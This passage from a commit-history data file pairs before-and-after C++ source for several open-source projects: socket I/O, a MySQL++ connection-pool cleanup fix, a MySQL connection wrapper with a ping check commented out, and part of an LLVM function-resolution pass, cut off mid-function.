false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief write data to the connection\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool ClientConnection::writeClientConnection (void* buffer, size_t length, size_t* bytesWritten) {\n if (! checkSocket()) {\n return false;\n }\n\n#if defined(__APPLE__)\n \/\/ MSG_NOSIGNAL not supported on apple platform\n int status = TRI_send(_socket, buffer, length, 0);\n#elif defined(_WIN32)\n \/\/ MSG_NOSIGNAL not supported on windows platform\n int status = TRI_send(_socket, buffer, length, 0);\n#else\n int status = TRI_send(_socket, buffer, length, MSG_NOSIGNAL);\n#endif\n\n if (status < 0) {\n TRI_set_errno(errno);\n return false;\n }\n\n *bytesWritten = (size_t) status;\n\n return true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief read data from the connection\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool ClientConnection::readClientConnection (StringBuffer& stringBuffer) {\n if (! checkSocket()) {\n return false;\n }\n\n assert(TRI_isvalidsocket(_socket));\n\n do {\n \/\/ reserve some memory for reading\n if (stringBuffer.reserve(READBUFFER_SIZE) == TRI_ERROR_OUT_OF_MEMORY) {\n \/\/ out of memory\n TRI_set_errno(TRI_ERROR_OUT_OF_MEMORY);\n return false;\n }\n\n int lenRead = TRI_READ_SOCKET(_socket, stringBuffer.end(), READBUFFER_SIZE - 1, 0);\n\n if (lenRead == -1) {\n \/\/ error occurred\n return false;\n }\n\n if (lenRead == 0) {\n \/\/ nothing more to read\n \/\/ since we come from a call to select which indicated that there \n \/\/ is something to read and we are reading from a socket, this is\n \/\/ an error condition. Therefore we return false\n _isConnected = false;\n return false;\n }\n\n stringBuffer.increaseLength(lenRead);\n }\n while (readable());\n\n return true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief return whether the connection is readable\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool ClientConnection::readable () {\n if (prepare(0.0, false)) {\n return checkSocket();\n }\n\n return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n<|endoftext|>"} {"text":"<commit_before>\/***********************************************************************\n cpool.cpp - Implements the ConnectionPool class.\n\n Copyright (c) 2007 by Educational Technology Resources, Inc. and\n (c) 2007 by Jonathan Wakely. Others may also hold copyrights on\n code in this file. See the CREDITS file in the top directory of\n the distribution for details.\n\n This file is part of MySQL++.\n\n MySQL++ is free software; you can redistribute it and\/or modify it\n under the terms of the GNU Lesser General Public License as published\n by the Free Software Foundation; either version 2.1 of the License, or\n (at your option) any later version.\n\n MySQL++ is distributed in the hope that it will be useful, but WITHOUT\n ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public\n License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with MySQL++; if not, write to the Free Software\n Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301\n USA\n***********************************************************************\/\n\n#include \"cpool.h\"\n\n#include \"connection.h\"\n\n#include <algorithm>\n#include <functional>\n\nnamespace mysqlpp {\n\n\n\/\/\/ \\brief Functor to test whether a given ConnectionInfo object is\n\/\/\/ \"too old\".\n\/\/\/\n\/\/\/ This is a template only because ConnectionInfo is private. Making\n\/\/\/ it a template means the private type is only used at the point of\n\/\/\/ instantiation, where it is accessible.\n\ntemplate <typename ConnInfoT>\nclass TooOld : std::unary_function<ConnInfoT, bool>\n{\npublic:\n\tTooOld(unsigned int tmax) :\n\tmin_age_(time(0) - tmax)\n\t{\n\t}\n\n\tbool operator()(const ConnInfoT& conn_info) const\n\t{\n\t\treturn !conn_info.in_use && conn_info.last_used <= min_age_;\n\t}\n\nprivate:\n\ttime_t min_age_;\n};\n\n\n\n\/\/\/\/ clear \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Destroy all connections in the pool and drain pool.\n\nvoid\nConnectionPool::clear()\n{\n\tScopedLock lock(mutex_);\t\/\/ ensure we're not interfered with\n\n\tfor (PoolIt it = pool_.begin(); it != pool_.end(); ++it) {\n\t\tdestroy(it->conn);\n\t}\n\tpool_.clear();\n}\n\n\n\/\/\/\/ find_mru \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Find most recently used available connection. Uses operator< for\n\/\/ ConnectionInfo to order pool with MRU connection last. Returns 0 if\n\/\/ there are no connections not in use.\n\nConnection*\nConnectionPool::find_mru()\n{\n\tPoolIt mru = std::max_element(pool_.begin(), pool_.end());\n\tif (mru != pool_.end() && !mru->in_use) {\n\t\tmru->in_use = true;\n\t\treturn mru->conn;\n\t}\n\telse {\n\t\treturn 0;\n\t}\n}\n\n\n\/\/\/\/ grab \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nConnection*\nConnectionPool::grab()\n{\n\tScopedLock lock(mutex_);\t\/\/ ensure we're not interfered with\n\tremove_old_connections();\n\tif (Connection* mru = find_mru()) {\n\t\treturn mru;\n\t}\n\telse {\n\t\t\/\/ No free connections, so create and return a new one.\n\t\tpool_.push_back(ConnectionInfo(create()));\n\t\treturn pool_.back().conn;\n\t}\n}\n\n\n\/\/\/\/ release \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid\nConnectionPool::release(const Connection* pc)\n{\n\tScopedLock lock(mutex_);\t\/\/ ensure we're not interfered with\n\n\tfor (PoolIt it = pool_.begin(); it != pool_.end(); ++it) {\n\t\tif (it->conn == pc) {\n\t\t\tit->in_use = false;\n\t\t\tit->last_used = time(0);\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\n\n\/\/\/\/ remove_old_connections \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Remove connections that were last used too long ago.\n\nvoid\nConnectionPool::remove_old_connections()\n{\n\tPoolIt it = pool_.begin(), doomed;\n\tTooOld<ConnectionInfo> too_old(max_idle_time());\n\n\twhile ((it = std::find_if(it, pool_.end(), too_old)) != pool_.end()) {\n\t\tdoomed = it++;\n\t\tdestroy(doomed->conn);\n\t\tpool_.erase(doomed);\n\t}\n}\n\n\n} \/\/ end namespace mysqlpp\n\n<commit_msg>Small improvement, reverting a change I made to Jonathan's cpool work to make it more paranoid, which isn't actually an improvement.<commit_after>\/***********************************************************************\n cpool.cpp - Implements the ConnectionPool class.\n\n Copyright (c) 2007 by Educational Technology Resources, Inc. and\n (c) 2007 by Jonathan Wakely. Others may also hold copyrights on\n code in this file. See the CREDITS file in the top directory of\n the distribution for details.\n\n This file is part of MySQL++.\n\n MySQL++ is free software; you can redistribute it and\/or modify it\n under the terms of the GNU Lesser General Public License as published\n by the Free Software Foundation; either version 2.1 of the License, or\n (at your option) any later version.\n\n MySQL++ is distributed in the hope that it will be useful, but WITHOUT\n ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public\n License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with MySQL++; if not, write to the Free Software\n Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301\n USA\n***********************************************************************\/\n\n#include \"cpool.h\"\n\n#include \"connection.h\"\n\n#include <algorithm>\n#include <functional>\n\nnamespace mysqlpp {\n\n\n\/\/\/ \\brief Functor to test whether a given ConnectionInfo object is\n\/\/\/ \"too old\".\n\/\/\/\n\/\/\/ This is a template only because ConnectionInfo is private. Making\n\/\/\/ it a template means the private type is only used at the point of\n\/\/\/ instantiation, where it is accessible.\n\ntemplate <typename ConnInfoT>\nclass TooOld : std::unary_function<ConnInfoT, bool>\n{\npublic:\n\tTooOld(unsigned int tmax) :\n\tmin_age_(time(0) - tmax)\n\t{\n\t}\n\n\tbool operator()(const ConnInfoT& conn_info) const\n\t{\n\t\treturn !conn_info.in_use && conn_info.last_used <= min_age_;\n\t}\n\nprivate:\n\ttime_t min_age_;\n};\n\n\n\n\/\/\/\/ clear \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Destroy all connections in the pool and drain pool.\n\nvoid\nConnectionPool::clear()\n{\n\tScopedLock lock(mutex_);\t\/\/ ensure we're not interfered with\n\n\tfor (PoolIt it = pool_.begin(); it != pool_.end(); ++it) {\n\t\tdestroy(it->conn);\n\t}\n\tpool_.clear();\n}\n\n\n\/\/\/\/ find_mru \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Find most recently used available connection. Uses operator< for\n\/\/ ConnectionInfo to order pool with MRU connection last. Returns 0 if\n\/\/ there are no connections not in use.\n\nConnection*\nConnectionPool::find_mru()\n{\n\tPoolIt mru = std::max_element(pool_.begin(), pool_.end());\n\tif (mru != pool_.end() && !mru->in_use) {\n\t\tmru->in_use = true;\n\t\treturn mru->conn;\n\t}\n\telse {\n\t\treturn 0;\n\t}\n}\n\n\n\/\/\/\/ grab \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nConnection*\nConnectionPool::grab()\n{\n\tScopedLock lock(mutex_);\t\/\/ ensure we're not interfered with\n\tremove_old_connections();\n\tif (Connection* mru = find_mru()) {\n\t\treturn mru;\n\t}\n\telse {\n\t\t\/\/ No free connections, so create and return a new one.\n\t\tpool_.push_back(ConnectionInfo(create()));\n\t\treturn pool_.back().conn;\n\t}\n}\n\n\n\/\/\/\/ release \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid\nConnectionPool::release(const Connection* pc)\n{\n\tScopedLock lock(mutex_);\t\/\/ ensure we're not interfered with\n\n\tfor (PoolIt it = pool_.begin(); it != pool_.end(); ++it) {\n\t\tif (it->conn == pc) {\n\t\t\tit->in_use = false;\n\t\t\tit->last_used = time(0);\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\n\n\/\/\/\/ remove_old_connections \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Remove connections that were last used too long ago.\n\nvoid\nConnectionPool::remove_old_connections()\n{\n\tTooOld<ConnectionInfo> too_old(max_idle_time());\n\n\tPoolIt it = pool_.begin();\n\twhile ((it = std::find_if(it, pool_.end(), too_old)) != pool_.end()) {\n\t\tdestroy(it->conn);\n\t\tpool_.erase(it++);\n\t}\n}\n\n\n} \/\/ end namespace mysqlpp\n\n<|endoftext|>"} {"text":"<commit_before>\/**\n * A class which describes the properties of a MySQL database connection.\n *\n * @date Jul 21, 2013\n * @author Joeri HERMANS\n * @version 0.1\n *\n * Copyright 2013 Joeri HERMANS\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/\/ BEGIN Includes. \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ System dependencies.\n#include <assert.h>\n#include <stdio.h>\n#include <syslog.h>\n\n\/\/ Application dependencies.\n#include <ias\/database\/interface\/database_connection.h>\n#include <ias\/database\/mysql\/mysql_connection.h>\n#include <ias\/database\/mysql\/mysql_statement.h>\n#include <ias\/database\/mysql\/mysql_driver.h>\n\n\/\/ END Includes. \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\ninline void MySqlConnection::initialize( void ) {\n \/\/ Initialize the members of the class.\n mConnection = mysql_init( nullptr );\n}\n\nMySqlConnection::MySqlConnection( const std::string & username,\n const std::string & password,\n const std::string & schema,\n const std::string & host )\n : DatabaseConnection(username,password,schema,host) {\n \/\/ Nothing to do here.\n initialize();\n}\n\nMySqlConnection::~MySqlConnection( void ) {\n mysql_close( mConnection );\n mysql_library_end();\n}\n\nbool MySqlConnection::isConnected( void ) const\n{\n return ( mConnection != nullptr );\n}\n\nbool MySqlConnection::connect( void ) {\n bool connected;\n my_bool argument;\n\n \/\/ Enable automatic reconnection by default.\n argument = 1;\n \/\/ Enable the automatic reconnect option.\n mysql_options(mConnection,MYSQL_OPT_RECONNECT,&argument);\n \/\/ Try to connect to the MySQL server.\n connected = ( mysql_real_connect(mConnection,\n getHost().c_str(),\n getUsername().c_str(),\n getPassword().c_str(),\n getSchema().c_str(),\n 3306,nullptr,0) != nullptr );\n\n return ( connected );\n}\n\nDatabaseStatement * MySqlConnection::createStatement( const std::string & sql ) {\n DatabaseStatement * statement;\n\n \/\/ Checking the precondition.\n assert( sql.length() > 0 );\n\n \/\/ Check if the connection with the server is still active.\n if( mysql_ping(mConnection) == 0 )\n \/\/ Allocate a new mysql statement.\n statement = new MySqlStatement(this,sql);\n else\n \/\/ No statement should be allocated.\n statement = nullptr;\n\n return ( statement );\n}\n\nDatabasePreparedStatement * MySqlConnection::prepareStatement(\n const std::string & sql ) {\n \/\/ Checking the precondition.\n assert( sql.length() > 0 );\n\n \/\/ TODO Implement.\n return ( nullptr );\n}\n\nvoid * MySqlConnection::getLink( void )\n{\n return ( static_cast<void *>(mConnection) );\n}\n<commit_msg>Test possible bug.<commit_after>\/**\n * A class which describes the properties of a MySQL database connection.\n *\n * @date Jul 21, 2013\n * @author Joeri HERMANS\n * @version 0.1\n *\n * Copyright 2013 Joeri HERMANS\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/\/ BEGIN Includes. \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ System dependencies.\n#include <assert.h>\n#include <stdio.h>\n#include <syslog.h>\n\n\/\/ Application dependencies.\n#include <ias\/database\/interface\/database_connection.h>\n#include <ias\/database\/mysql\/mysql_connection.h>\n#include <ias\/database\/mysql\/mysql_statement.h>\n#include <ias\/database\/mysql\/mysql_driver.h>\n\n\/\/ END Includes. \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\ninline void MySqlConnection::initialize( void ) {\n \/\/ Initialize the members of the class.\n mConnection = mysql_init( nullptr );\n}\n\nMySqlConnection::MySqlConnection( const std::string & username,\n const std::string & password,\n const std::string & schema,\n const std::string & host )\n : DatabaseConnection(username,password,schema,host) {\n \/\/ Nothing to do here.\n initialize();\n}\n\nMySqlConnection::~MySqlConnection( void ) {\n mysql_close( mConnection );\n mysql_library_end();\n}\n\nbool MySqlConnection::isConnected( void ) const\n{\n return ( mConnection != nullptr );\n}\n\nbool MySqlConnection::connect( void ) {\n bool connected;\n my_bool argument;\n\n \/\/ Enable automatic reconnection by default.\n argument = 1;\n \/\/ Enable the automatic reconnect option.\n mysql_options(mConnection,MYSQL_OPT_RECONNECT,&argument);\n \/\/ Try to connect to the MySQL server.\n connected = ( mysql_real_connect(mConnection,\n getHost().c_str(),\n getUsername().c_str(),\n getPassword().c_str(),\n getSchema().c_str(),\n 3306,nullptr,0) != nullptr );\n\n return ( connected );\n}\n\nDatabaseStatement * MySqlConnection::createStatement( const std::string & sql ) {\n DatabaseStatement * statement;\n\n \/\/ Checking the precondition.\n assert( sql.length() > 0 );\n\n\/\/ \/\/ Check if the connection with the server is still active.\n\/\/ if( mysql_ping(mConnection) == 0 )\n \/\/ Allocate a new mysql statement.\n statement = new MySqlStatement(this,sql);\n\/\/ else\n \/\/ No statement should be allocated.\n\/\/ statement = nullptr;\n\n return ( statement );\n}\n\nDatabasePreparedStatement * MySqlConnection::prepareStatement(\n const std::string & sql ) {\n \/\/ Checking the precondition.\n assert( sql.length() > 0 );\n\n \/\/ TODO Implement.\n return ( nullptr );\n}\n\nvoid * MySqlConnection::getLink( void )\n{\n return ( static_cast<void *>(mConnection) );\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===- FunctionResolution.cpp - Resolve declarations to implementations ---===\/\/\n\/\/ \n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Loop over the functions that are in the module and look for functions that\n\/\/ have the same name. More often than not, there will be things like:\n\/\/\n\/\/ declare void %foo(...)\n\/\/ void %foo(int, int) { ... }\n\/\/\n\/\/ because of the way things are declared in C. If this is the case, patch\n\/\/ things up.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Transforms\/IPO.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/DerivedTypes.h\"\n#include \"llvm\/Pass.h\"\n#include \"llvm\/iOther.h\"\n#include \"llvm\/Constants.h\"\n#include \"llvm\/Target\/TargetData.h\"\n#include \"llvm\/Assembly\/Writer.h\"\n#include \"Support\/Statistic.h\"\n#include <algorithm>\n\nnamespace llvm {\n\nnamespace {\n Statistic<>NumResolved(\"funcresolve\", \"Number of varargs functions resolved\");\n Statistic<> NumGlobals(\"funcresolve\", \"Number of global variables resolved\");\n\n struct FunctionResolvingPass : public Pass {\n virtual void getAnalysisUsage(AnalysisUsage &AU) const {\n AU.addRequired<TargetData>();\n }\n\n bool run(Module &M);\n };\n RegisterOpt<FunctionResolvingPass> X(\"funcresolve\", \"Resolve Functions\");\n}\n\nPass *createFunctionResolvingPass() {\n return new FunctionResolvingPass();\n}\n\nstatic bool ResolveFunctions(Module &M, std::vector<GlobalValue*> &Globals,\n Function *Concrete) {\n bool Changed = false;\n for (unsigned i = 0; i != Globals.size(); ++i)\n if (Globals[i] != Concrete) {\n Function *Old = cast<Function>(Globals[i]);\n const FunctionType *OldMT = Old->getFunctionType();\n const FunctionType *ConcreteMT = Concrete->getFunctionType();\n \n if (OldMT->getParamTypes().size() > ConcreteMT->getParamTypes().size() &&\n !ConcreteMT->isVarArg())\n if (!Old->use_empty()) {\n std::cerr << \"WARNING: Linking function '\" << Old->getName()\n << \"' is causing arguments to be dropped.\\n\";\n std::cerr << \"WARNING: Prototype: \";\n WriteAsOperand(std::cerr, Old);\n std::cerr << \" resolved to \";\n WriteAsOperand(std::cerr, Concrete);\n std::cerr << \"\\n\";\n }\n \n \/\/ Check to make sure that if there are specified types, that they\n \/\/ match...\n \/\/\n unsigned NumArguments = std::min(OldMT->getParamTypes().size(),\n ConcreteMT->getParamTypes().size());\n\n if (!Old->use_empty() && !Concrete->use_empty())\n for (unsigned i = 0; i < NumArguments; ++i)\n if (OldMT->getParamTypes()[i] != ConcreteMT->getParamTypes()[i])\n if (OldMT->getParamTypes()[i]->getPrimitiveID() != \n ConcreteMT->getParamTypes()[i]->getPrimitiveID()) {\n std::cerr << \"WARNING: Function [\" << Old->getName()\n << \"]: Parameter types conflict for: '\" << OldMT\n << \"' and '\" << ConcreteMT << \"'\\n\";\n return Changed;\n }\n \n \/\/ Attempt to convert all of the uses of the old function to the concrete\n \/\/ form of the function. If there is a use of the fn that we don't\n \/\/ understand here we punt to avoid making a bad transformation.\n \/\/\n \/\/ At this point, we know that the return values are the same for our two\n \/\/ functions and that the Old function has no varargs fns specified. In\n \/\/ otherwords it's just <retty> (...)\n \/\/\n if (!Old->use_empty()) { \/\/ Avoid making the CPR unless we really need it\n Value *Replacement = Concrete;\n if (Concrete->getType() != Old->getType())\n Replacement = ConstantExpr::getCast(ConstantPointerRef::get(Concrete),\n Old->getType());\n NumResolved += Old->use_size();\n Old->replaceAllUsesWith(Replacement);\n }\n\n \/\/ Since there are no uses of Old anymore, remove it from the module.\n M.getFunctionList().erase(Old);\n }\n return Changed;\n}\n\n\nstatic bool ResolveGlobalVariables(Module &M,\n std::vector<GlobalValue*> &Globals,\n GlobalVariable *Concrete) {\n bool Changed = false;\n Constant *CCPR = ConstantPointerRef::get(Concrete);\n\n for (unsigned i = 0; i != Globals.size(); ++i)\n if (Globals[i] != Concrete) {\n Constant *Cast = ConstantExpr::getCast(CCPR, Globals[i]->getType());\n Globals[i]->replaceAllUsesWith(Cast);\n\n \/\/ Since there are no uses of Old anymore, remove it from the module.\n M.getGlobalList().erase(cast<GlobalVariable>(Globals[i]));\n\n ++NumGlobals;\n Changed = true;\n }\n return Changed;\n}\n\nstatic bool ProcessGlobalsWithSameName(Module &M, TargetData &TD,\n std::vector<GlobalValue*> &Globals) {\n assert(!Globals.empty() && \"Globals list shouldn't be empty here!\");\n\n bool isFunction = isa<Function>(Globals[0]); \/\/ Is this group all functions?\n GlobalValue *Concrete = 0; \/\/ The most concrete implementation to resolve to\n\n for (unsigned i = 0; i != Globals.size(); ) {\n if (isa<Function>(Globals[i]) != isFunction) {\n std::cerr << \"WARNING: Found function and global variable with the \"\n << \"same name: '\" << Globals[i]->getName() << \"'.\\n\";\n return false; \/\/ Don't know how to handle this, bail out!\n }\n\n if (isFunction) {\n \/\/ For functions, we look to merge functions definitions of \"int (...)\"\n \/\/ to 'int (int)' or 'int ()' or whatever else is not completely generic.\n \/\/\n Function *F = cast<Function>(Globals[i]);\n if (!F->isExternal()) {\n if (Concrete && !Concrete->isExternal())\n return false; \/\/ Found two different functions types. Can't choose!\n \n Concrete = Globals[i];\n } else if (Concrete) {\n if (Concrete->isExternal()) \/\/ If we have multiple external symbols...x\n if (F->getFunctionType()->getNumParams() > \n cast<Function>(Concrete)->getFunctionType()->getNumParams())\n Concrete = F; \/\/ We are more concrete than \"Concrete\"!\n\n } else {\n Concrete = F;\n }\n } else {\n GlobalVariable *GV = cast<GlobalVariable>(Globals[i]);\n if (!GV->isExternal()) {\n if (Concrete) {\n std::cerr << \"WARNING: Two global variables with external linkage\"\n << \" exist with the same name: '\" << GV->getName()\n << \"'!\\n\";\n return false;\n }\n Concrete = GV;\n }\n }\n ++i;\n }\n\n if (Globals.size() > 1) { \/\/ Found a multiply defined global...\n \/\/ If there are no external declarations, and there is at most one\n \/\/ externally visible instance of the global, then there is nothing to do.\n \/\/\n bool HasExternal = false;\n unsigned NumInstancesWithExternalLinkage = 0;\n\n for (unsigned i = 0, e = Globals.size(); i != e; ++i) {\n if (Globals[i]->isExternal())\n HasExternal = true;\n else if (!Globals[i]->hasInternalLinkage())\n NumInstancesWithExternalLinkage++;\n }\n \n if (!HasExternal && NumInstancesWithExternalLinkage <= 1)\n return false; \/\/ Nothing to do? Must have multiple internal definitions.\n\n \/\/ There are a couple of special cases we don't want to print the warning\n \/\/ for, check them now.\n bool DontPrintWarning = false;\n if (Concrete && Globals.size() == 2) {\n GlobalValue *Other = Globals[Globals[0] == Concrete];\n \/\/ If the non-concrete global is a function which takes (...) arguments,\n \/\/ and the return values match, do not warn.\n if (Function *ConcreteF = dyn_cast<Function>(Concrete))\n if (Function *OtherF = dyn_cast<Function>(Other))\n if (ConcreteF->getReturnType() == OtherF->getReturnType() &&\n OtherF->getFunctionType()->isVarArg() &&\n OtherF->getFunctionType()->getParamTypes().empty())\n DontPrintWarning = true;\n \n \/\/ Otherwise, if the non-concrete global is a global array variable with a\n \/\/ size of 0, and the concrete global is an array with a real size, don't\n \/\/ warn. This occurs due to declaring 'extern int A[];'.\n if (GlobalVariable *ConcreteGV = dyn_cast<GlobalVariable>(Concrete))\n if (GlobalVariable *OtherGV = dyn_cast<GlobalVariable>(Other))\n if (const ArrayType *OtherAT =\n dyn_cast<ArrayType>(OtherGV->getType()->getElementType()))\n if (const ArrayType *ConcreteAT =\n dyn_cast<ArrayType>(ConcreteGV->getType()->getElementType()))\n if (OtherAT->getElementType() == ConcreteAT->getElementType() &&\n OtherAT->getNumElements() == 0)\n DontPrintWarning = true;\n }\n\n if (!DontPrintWarning) {\n std::cerr << \"WARNING: Found global types that are not compatible:\\n\";\n for (unsigned i = 0; i < Globals.size(); ++i) {\n std::cerr << \"\\t\" << *Globals[i]->getType() << \" %\"\n << Globals[i]->getName() << \"\\n\";\n }\n }\n\n if (!Concrete)\n Concrete = Globals[0];\n else if (GlobalVariable *GV = dyn_cast<GlobalVariable>(Concrete)) {\n \/\/ Handle special case hack to change globals if it will make their types\n \/\/ happier in the long run. The situation we do this is intentionally\n \/\/ extremely limited.\n if (GV->use_empty() && GV->hasInitializer() &&\n GV->getInitializer()->isNullValue()) {\n \/\/ Check to see if there is another (external) global with the same size\n \/\/ and a non-empty use-list. If so, we will make IT be the real\n \/\/ implementation.\n unsigned TS = TD.getTypeSize(Concrete->getType()->getElementType());\n for (unsigned i = 0, e = Globals.size(); i != e; ++i)\n if (Globals[i] != Concrete && !Globals[i]->use_empty() &&\n isa<GlobalVariable>(Globals[i]) &&\n TD.getTypeSize(Globals[i]->getType()->getElementType()) == TS) {\n \/\/ At this point we want to replace Concrete with Globals[i]. Make\n \/\/ concrete external, and Globals[i] have an initializer.\n GlobalVariable *NGV = cast<GlobalVariable>(Globals[i]);\n const Type *ElTy = NGV->getType()->getElementType();\n NGV->setInitializer(Constant::getNullValue(ElTy));\n cast<GlobalVariable>(Concrete)->setInitializer(0);\n Concrete = NGV;\n break;\n }\n }\n }\n\n if (isFunction)\n return ResolveFunctions(M, Globals, cast<Function>(Concrete));\n else\n return 